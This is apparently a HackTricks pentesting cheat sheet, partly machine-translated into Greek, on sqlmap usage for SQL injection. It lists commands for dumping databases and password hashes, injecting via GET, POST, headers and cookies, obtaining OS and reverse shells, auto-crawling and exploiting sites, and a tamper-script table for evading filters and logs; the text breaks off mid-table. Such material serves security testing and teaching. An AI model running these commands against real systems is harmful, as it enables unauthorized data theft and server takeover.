hacktricks/pentesting-web/sql-injection/sqlmap.md

297 lines
30 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 22:40:18 +00:00
# Βασικά επιχειρήματα για το SQLmap
2024-02-10 22:40:18 +00:00
## Γενικά
```bash
2024-02-10 22:40:18 +00:00
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
2024-02-10 22:40:18 +00:00
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
2024-02-10 22:40:18 +00:00
## Ανάκτηση Πληροφοριών
2024-02-10 22:40:18 +00:00
### Εσωτερικές
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
2024-02-10 22:40:18 +00:00
### Δεδομένα Βάσης Δεδομένων
2024-02-10 22:40:18 +00:00
To retrieve data from a database, you can use SQL injection techniques. SQLMap is a powerful tool that automates the process of exploiting SQL injection vulnerabilities. It can be used to extract sensitive information from databases.
2024-02-10 22:40:18 +00:00
To use SQLMap, you need to provide the target URL and specify the injection point. SQLMap will then analyze the target and attempt to exploit any SQL injection vulnerabilities it finds.
Once SQLMap successfully exploits a vulnerability, it can retrieve data from the database. This includes information such as usernames, passwords, and other sensitive data stored in the database.
SQLMap provides various options to customize the data retrieval process. You can specify the tables and columns you want to extract data from, filter the retrieved data based on specific conditions, and even dump the entire database.
By using SQLMap effectively, you can extract valuable information from databases and gain unauthorized access to sensitive data. It is important to use this tool responsibly and only on systems that you have permission to test.
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
2024-02-10 22:40:18 +00:00
# Τοποθεσία ενέσιμης επίθεσης
2024-02-10 22:40:18 +00:00
## Από την καταγραφή του Burp/ZAP
2024-02-10 22:40:18 +00:00
Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt
```bash
sqlmap -r req.txt --current-user
```
2024-02-10 22:40:18 +00:00
## Εισαγωγή σε αίτηση GET
Η εισαγωγή σε αίτηση GET είναι μια τεχνική εκμετάλλευσης που αξιοποιεί τις ευπάθειες των παραμέτρων των αιτήσεων GET για να εκτελέσει επιθέσεις SQL Injection. Με αυτήν την τεχνική, ο επιτιθέμενος εισάγει επιλεγμένες SQL εντολές στις παραμέτρους του URL, με σκοπό να παραβιάσει το σύστημα βάσης δεδομένων που χρησιμοποιείται από την εφαρμογή.
2024-02-10 22:40:18 +00:00
Για να εκτελέσει μια επιτυχημένη επίθεση SQL Injection μέσω αίτησης GET, ο επιτιθέμενος πρέπει να εντοπίσει μια παράμετρο που είναι ευάλωτη σε εισαγωγή SQL και να εισάγει τις κατάλληλες εντολές SQL για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση στη βάση δεδομένων.
2024-02-10 22:40:18 +00:00
Το εργαλείο SQLMap είναι ένα ισχυρό εργαλείο που μπορεί να χρησιμοποιηθεί για την αυτοματοποίηση της διαδικασίας εύρεσης και εκμετάλλευσης ευπαθειών SQL Injection σε αιτήσεις GET. Χρησιμοποιώντας το SQLMap, ο επιτιθέμενος μπορεί να εκτελέσει αυτόματα επιθέσεις SQL Injection, εξάγοντας ευαίσθητες πληροφορίες από τη βάση δεδομένων, όπως ονόματα χρηστών, κωδικοί πρόσβασης και άλλα δεδομένα.
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
2024-02-10 22:40:18 +00:00
## Εισαγωγή σε POST αιτήματα
Η εισαγωγή σε POST αιτήματα αποτελεί μια από τις πιο συνηθισμένες τεχνικές επίθεσης SQL Injection. Αυτή η τεχνική επιτρέπει στον επιτιθέμενο να εκμεταλλευτεί τις ευπάθειες στην επεξεργασία των POST αιτημάτων από την εφαρμογή.
Για να εκτελέσετε μια επίθεση SQL Injection σε ένα POST αίτημα, μπορείτε να χρησιμοποιήσετε το εργαλείο `sqlmap`. Αυτό το εργαλείο είναι ένα αυτοματοποιημένο εργαλείο επίθεσης SQL Injection που μπορεί να ανιχνεύσει και να εκμεταλλευτεί ευπάθειες σε μια εφαρμογή.
2024-02-10 22:40:18 +00:00
Για να εκτελέσετε μια επίθεση SQL Injection σε ένα POST αίτημα με το `sqlmap`, ακολουθήστε τα παρακάτω βήματα:
2024-02-10 22:40:18 +00:00
1. Ανοίξτε το `sqlmap` και καθορίστε τον στόχο σας, παρέχοντας το URL της εφαρμογής που θέλετε να επιτεθείτε.
2. Καθορίστε τη μέθοδο αίτησης ως POST.
3. Παρέχετε τα απαραίτητα δεδομένα για το POST αίτημα, συμπεριλαμβανομένων των παραμέτρων που θέλετε να εκμεταλλευτείτε.
4. Εκτελέστε το `sqlmap` και αφήστε το να ανιχνεύσει και να εκμεταλλευτεί τις ευπάθειες στο POST αίτημα.
Με τη χρήση της εισαγωγής σε POST αιτήματα, μπορείτε να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες, να τροποποιήσετε τη βάση δεδομένων ή ακόμη και να εκτελέσετε κακόβουλο κώδικα στον διακομιστή. Είναι σημαντικό να είστε προσεκτικοί κατά την εκτέλεση αυτής της τεχνικής, καθώς μπορεί να προκαλέσει σοβαρές ζημιές στην εφαρμογή.
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
2024-02-10 22:40:18 +00:00
## Ενέσεις στους Κεφαλίδες και άλλες Μέθοδοι HTTP
### Εισαγωγή
Οι επιθέσεις SQL Injection δεν περιορίζονται μόνο στις παραμέτρους του URL. Μπορούν επίσης να εκτελεστούν μέσω των κεφαλίδων HTTP και άλλων μεθόδων HTTP, όπως το POST και το PUT. Αυτό ανοίγει νέες πιθανότητες για εκμετάλλευση των ευπαθειών των εφαρμογών.
### Επίθεση SQL Injection στις Κεφαλίδες HTTP
Οι κεφαλίδες HTTP περιέχουν πληροφορίες σχετικά με το αίτημα HTTP που στέλνεται από τον πελάτη στον διακομιστή. Ορισμένες κεφαλίδες, όπως η `User-Agent`, η `Referer` και η `Cookie`, μπορούν να περιέχουν ευαίσθητες πληροφορίες ή να επηρεάσουν την εκτέλεση των εφαρμογών.
Για να εκτελέσετε μια επίθεση SQL Injection στις κεφαλίδες HTTP, μπορείτε να χρησιμοποιήσετε το εργαλείο SQLMap. Το SQLMap είναι ένα ισχυρό εργαλείο αυτοματοποιημένης εκμετάλλευσης SQL Injection, το οποίο μπορεί να ανιχνεύσει και να εκμεταλλευτεί ευπαθείς σημεία εισαγωγής SQL σε μια εφαρμογή.
Για να εκτελέσετε μια επίθεση SQL Injection στις κεφαλίδες HTTP με το SQLMap, μπορείτε να χρησιμοποιήσετε την παράμετρο `--headers` για να καθορίσετε τις κεφαλίδες που θέλετε να ελέγξετε. Το SQLMap θα αναλύσει τις κεφαλίδες και θα εκτελέσει αυτόματα επιθέσεις SQL Injection σε αυτές.
Παράδειγμα:
```plaintext
sqlmap -u "http://example.com" --headers="User-Agent: Mozilla/5.0"
```
Στο παραπάνω παράδειγμα, το SQLMap θα εκτελέσει μια επίθεση SQL Injection στην κεφαλίδα `User-Agent` με την τιμή `Mozilla/5.0`.
### Επίθεση SQL Injection με τις μεθόδους HTTP POST και PUT
Οι μέθοδοι HTTP POST και PUT χρησιμοποιούνται για την αποστολή δεδομένων από τον πελάτη στον διακομιστή. Οι παράμετροι αυτών των μεθόδων μπορούν να περιέχουν ευαίσθητες πληροφορίες ή να εκτελούν ενέργειες στην εφαρμογή.
2024-02-10 22:40:18 +00:00
Για να εκτελέσετε μια επίθεση SQL Injection με τις μεθόδους HTTP POST και PUT, μπορείτε να χρησιμοποιήσετε το SQLMap. Χρησιμοποιώντας την παράμετρο `--data` ή `--data-binary`, μπορείτε να καθορίσετε τα δεδομένα που θα αποσταλούν στον διακομιστή. Το SQLMap θα αναλύσει αυτά τα δεδομένα και θα εκτελέσει αυτόματα επιθέσεις SQL Injection σε αυτά.
2024-02-10 22:40:18 +00:00
Παράδειγμα:
```plaintext
sqlmap -u "http://example.com" --data="username=admin&password=pass123"
```
Στο παραπάνω παράδειγμα, το SQLMap θα εκτελέσει μια επίθεση SQL Injection στις παραμέτρους `username` και `password` με τις τιμές `admin` και `pass123` αντίστοιχα.
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
2024-02-10 22:40:18 +00:00
## Δεύτερη τάξη εγχύσεων
Second order injection refers to a type of SQL injection attack where the malicious payload is not directly executed in the initial vulnerable query, but rather stored in the database for later execution. This technique is also known as "stored SQL injection" or "persistent SQL injection".
2024-02-10 22:40:18 +00:00
Η δεύτερη τάξη εγχύσεων αναφέρεται σε έναν τύπο επίθεσης SQL injection όπου το κακόβουλο φορτίο δεν εκτελείται απευθείας στο αρχικό ευάλωτο ερώτημα, αλλά αποθηκεύεται στη βάση δεδομένων για μεταγενέστερη εκτέλεση. Αυτή η τεχνική είναι επίσης γνωστή ως "αποθηκευμένη SQL injection" ή "μόνιμη SQL injection".
2024-02-10 22:40:18 +00:00
In a second order injection attack, the attacker typically exploits a vulnerability that allows them to insert malicious input into a database field. This input is then stored in the database and later used in a query without proper sanitization or validation. When the vulnerable query is executed, the malicious payload is executed as well, leading to potential data leakage, unauthorized access, or other malicious activities.
Σε μια επίθεση δεύτερης τάξης εγχύσεων, ο επιτιθέμενος συνήθως εκμεταλλεύεται μια ευπάθεια που του επιτρέπει να εισάγει κακόβουλη είσοδο σε ένα πεδίο της βάσης δεδομένων. Αυτή η είσοδος αποθηκεύεται στη βάση δεδομένων και χρησιμοποιείται αργότερα σε ένα ερώτημα χωρίς κατάλληλη απολύμανση ή επικύρωση. Όταν εκτελείται το ευάλωτο ερώτημα, εκτελείται επίσης το κακόβουλο φορτίο, προκαλώντας δυνητική διαρροή δεδομένων, μη εξουσιοδοτημένη πρόσβαση ή άλλες κακόβουλες δραστηριότητες.
To prevent second order injection attacks, it is important to properly sanitize and validate all user input before storing it in the database. Additionally, using parameterized queries or prepared statements can help protect against SQL injection vulnerabilities.
Για να αποτραπούν οι επιθέσεις δεύτερης τάξης εγχύσεων, είναι σημαντικό να απολυμαίνεται και επικυρώνεται σωστά η είσοδος του χρήστη πριν αποθηκευτεί στη βάση δεδομένων. Επιπλέον, η χρήση παραμετροποιημένων ερωτημάτων ή προετοιμασμένων δηλώσεων μπορεί να βοηθήσει στην προστασία από ευπάθειες SQL injection.
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
2024-02-10 22:40:18 +00:00
## Κέλυφος
Το SQLMap μπορεί να χρησιμοποιηθεί για να ανακτήσετε ένα κέλυφος σε έναν ευάλωτο διακομιστή SQL. Αυτό σας επιτρέπει να εκτελέσετε εντολές στον διακομιστή και να αποκτήσετε πλήρη πρόσβαση σε αυτόν.
2024-02-10 22:40:18 +00:00
Για να ανακτήσετε ένα κέλυφος, μπορείτε να χρησιμοποιήσετε την παράμετρο `--os-shell` ή `--os-pwn`. Αυτή η παράμετρος θα εκτελέσει μια εντολή κέλυφους στον διακομιστή SQL.
2024-02-10 22:40:18 +00:00
Παράδειγμα:
```plaintext
sqlmap -u "http://example.com/vulnerable.php?id=1" --os-shell
```
Αυτή η εντολή θα εκτελέσει μια εντολή κέλυφους στον ευάλωτο διακομιστή SQL που βρίσκεται στη διεύθυνση `http://example.com/vulnerable.php?id=1`. Μετά την εκτέλεση, θα έχετε πρόσβαση στο κέλυφος του διακομιστή και θα μπορείτε να εκτελέσετε εντολές όπως `ls`, `cat`, `pwd` κ.λπ.
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
2024-02-10 22:40:18 +00:00
## Αναζήτηση ενός ιστότοπου με το SQLmap και αυτόματη εκμετάλλευση
2024-02-10 22:40:18 +00:00
Για να αναζητήσετε έναν ιστότοπο και να εκμεταλλευτείτε αυτόματα τυχόν ευπάθειες SQL Injection, μπορείτε να χρησιμοποιήσετε το εργαλείο SQLmap. Το SQLmap είναι ένα ισχυρό εργαλείο αυτοματοποιημένης εκμετάλλευσης SQL Injection που μπορεί να σας βοηθήσει να εντοπίσετε και να εκμεταλλευτείτε ευπάθειες σε μια ιστοσελίδα.
Για να ξεκινήσετε, εκτελέστε την ακόλουθη εντολή:
2024-02-10 22:40:18 +00:00
```bash
sqlmap -u <URL> --crawl=3 --batch --random-agent --level=5 --risk=3
```
Στην εντολή αυτή, αντικαταστήστε το `<URL>` με το URL του ιστότοπου που θέλετε να αναζητήσετε. Οι παράμετροι `--crawl=3`, `--batch`, `--random-agent`, `--level=5` και `--risk=3` ρυθμίζουν τις παραμέτρους της αναζήτησης και της εκμετάλλευσης.
Το `--crawl=3` καθορίζει το βάθος της αναζήτησης, ενώ το `--batch` εκτελεί το SQLmap σε αυτόματη λειτουργία χωρίς να απαιτεί επιβεβαίωση από τον χρήστη. Η παράμετρος `--random-agent` προσομοιώνει έναν τυχαίο περιηγητή κατά την αναζήτηση. Οι παράμετροι `--level=5` και `--risk=3` καθορίζουν το επίπεδο και τον κίνδυνο της εκμετάλλευσης.
Μετά την εκτέλεση της εντολής, το SQLmap θα αναζητήσει αυτόματα τυχόν ευπάθειες SQL Injection στον ιστότοπο και θα προσπαθήσει να τις εκμεταλλευτεί αυτόματα. Θα λάβετε αναφορές για τυχόν ευπάθειες που βρέθηκαν και τα αποτελέσματα των επιτυχημένων εκμεταλλεύσεων.
Προσοχή: Η χρήση του SQLmap για αναζήτηση και εκμετάλλευση ευπαθειών SQL Injection σε ιστότοπους χωρίς άδεια είναι παράνομη. Χρησιμοποιήστε το εργαλείο μόνο για νόμιμες δοκιμές ασφαλείας και με την έγκριση του ιδιοκτήτη του ιστότοπου.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
2024-02-10 22:40:18 +00:00
# Ορισμός επιθήματος
Μπορείτε να ορίσετε ένα επιθήμα για να προσαρμόσετε την εισαγωγή σας.
2024-02-10 22:40:18 +00:00
Για να ορίσετε ένα επιθήμα, χρησιμοποιήστε την επιλογή `--suffix`. Αυτό το επιθήμα θα προστεθεί στο τέλος της εισαγωγής σας.
2024-02-10 22:40:18 +00:00
Παράδειγμα:
```plaintext
sqlmap -u "http://example.com/page.php?id=1" --suffix ' AND 1=1'
```
2024-02-10 22:40:18 +00:00
Σε αυτό το παράδειγμα, το επιθήμα `' AND 1=1'` προστίθεται στο τέλος της εισαγωγής, προκειμένου να προσαρμοστεί η επίθεση.
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
2024-02-10 22:40:18 +00:00
## Πρόθεμα
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
2024-02-10 22:40:18 +00:00
## Βοήθεια για την εύρεση boolean εγχύσεων
Boolean εγχύσεις είναι μια τεχνική επίθεσης SQL Injection που χρησιμοποιεί λογικές προτάσεις για να ελέγξει την αλήθεια ή την ψευδαίσθηση μιας συνθήκης. Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να ανιχνεύσει ευπάθειες σε μια εφαρμογή που χρησιμοποιεί SQL.
Για να βρείτε μια boolean εγχύση, μπορείτε να χρησιμοποιήσετε το εργαλείο SQLMap. Αυτό το εργαλείο σάς επιτρέπει να αυτοματοποιήσετε τη διαδικασία εύρεσης ευπαθειών SQL Injection, συμπεριλαμβανομένων των boolean εγχύσεων.
Για να χρησιμοποιήσετε το SQLMap για να εκτελέσετε boolean εγχύσεις, μπορείτε να χρησιμοποιήσετε την παράμετρο `--technique=B`. Αυτό θα ενεργοποιήσει την αυτόματη ανίχνευση boolean εγχύσεων κατά την εκτέλεση του SQLMap.
Παράδειγμα εντολής SQLMap για εκτέλεση boolean εγχύσεων:
```
sqlmap -u "http://example.com/page.php?id=1" --technique=B
```
2024-02-10 22:40:18 +00:00
Με αυτήν την εντολή, το SQLMap θα εκτελέσει αυτόματα boolean εγχύσεις στην παράμετρο `id` του URL `http://example.com/page.php?id=1`.
2024-02-10 22:40:18 +00:00
Αναζητήστε τα αποτελέσματα του SQLMap για να εντοπίσετε ευπάθειες SQL Injection και να αξιολογήσετε την ασφάλεια της εφαρμογής.
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
2024-02-10 22:40:18 +00:00
## Παραβίαση
Η παραβίαση είναι μια τεχνική που χρησιμοποιείται για να τροποποιήσει τα αιτήματα που στέλνονται σε μια εφαρμογή, προκειμένου να εκμεταλλευτεί ευπάθειες και να περάσει απαρατήρητη. Ο σκοπός της παραβίασης είναι να παρακάμψει τα φίλτρα ασφαλείας και να εισχωρήσει στο σύστημα.
2024-02-10 22:40:18 +00:00
Οι παραβιάσεις μπορούν να χρησιμοποιηθούν για να εκτελέσουν επιθέσεις SQL Injection, όπου ο εισβολέας εισάγει κακόβουλο κώδικα SQL σε μια εφαρμογή που χρησιμοποιεί μη ασφαλή εισαγωγή δεδομένων. Ο κακόβουλος κώδικας SQL μπορεί να επιτρέψει στον εισβολέα να ανακτήσει, να τροποποιήσει ή ακόμα και να διαγράψει δεδομένα από τη βάση δεδομένων της εφαρμογής.
2024-02-10 22:40:18 +00:00
Για να προστατευθείτε από παραβιάσεις, είναι σημαντικό να εφαρμόζετε κατάλληλα φίλτρα εισόδου και να επιβεβαιώνετε την ασφάλεια της εφαρμογής σας. Επίσης, η χρήση εργαλείων όπως το SQLMap μπορεί να σας βοηθήσει να εντοπίσετε και να εκμεταλλευτείτε ευπάθειες στην ασφάλεια της εφαρμογής σας.
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
2024-02-10 22:40:18 +00:00
| Tamper | Περιγραφή |
| :--- | :--- |
2024-02-10 22:40:18 +00:00
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφο με τον αντίστοιχο χαρακτήρα πλήρους πλάτους UTF-8 |
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφο με τον παράνομο διπλό χαρακτήρα unicode |
| appendnullbyte.py | Προσθέτει έναν κωδικοποημένο χαρακτήρα NULL byte στο τέλος του φορτίου |
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δοσμένο φορτίο |
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('&gt;'\) με το 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενού χώρου μετά την SQL δήλωση με έναν έγκυρο τυχαίο χαρακτήρα κενού χώρου. Στη συνέχεια αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
| chardoubleencode.py | Διπλή κωδικοποίηση URL όλων των χαρακτήρων σε ένα δοσμένο φορτίο \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δοσμένο φορτίο \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
| charunicodeencode.py | Κωδικοποιεί με Unicode-URL όλους τους μη κωδικοποιημένους χαρακτήρες σε ένα δοσμένο φορτίο \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "%u0022" |
| charunicodeescape.py | Κωδικοποιεί με Unicode-URL όλους τους μη κωδικοποιημένους χαρακτήρες σε ένα δοσμένο φορτίο \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "\u0022" |
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσον \('='\) με τον τελεστή 'LIKE' |
| escapequotes.py | Αποδρά τα εισαγωγικά \(' και "\) |
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('&gt;'\) με τον αντίστοιχο τελεστή 'GREATEST' |
| halfversionedmorekeywords.py | Προσθέτει μια εκδοχή του σχολίου MySQL πριν από κάθε λέξη-κλειδί |
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Περικλείει ολόκληρο το ερώτημα με εκδοχή του σχολίου |
| modsecurityzeroversioned.py | Περικλείει ολόκληρο το ερώτημα με μηδενική εκδοχή του σχολίου |
| multiplespaces.py | Προσθέτει πολλαπλούς κενούς χώρους γύρω από τις λέξεις-κλειδιά SQL |
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αντιπροσωπείες κατάλληλες για αντικατάσταση \(π.χ. .replace\("SELECT", ""\)\) |
| percentage.py | Προσθέτει ένα σύμβολο ποσοστού \('%'\) μπροστά από κάθε χαρακτήρα |
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δοσμένο φορτίο \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδιού με τυχαία κεφαλαία γράμματα |
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
| securesphere.py | Προσθέτει ειδικά δημιουργημένο συμβολοσειρά |
| sp\_password.py | Προσθέτει το 'sp\_password' στο τέλος του φορτίου για αυτόματη απόκρυψη από τα αρχεία καταγραφής του DBMS |
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενού χώρου \(' '\) με σχόλια |
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενού χώρου \(' '\) με ένα σχόλιο παύλα \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενού χώρου \(' '\) με ένα χαρακτήρα αριθμητικού σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2morehash.py |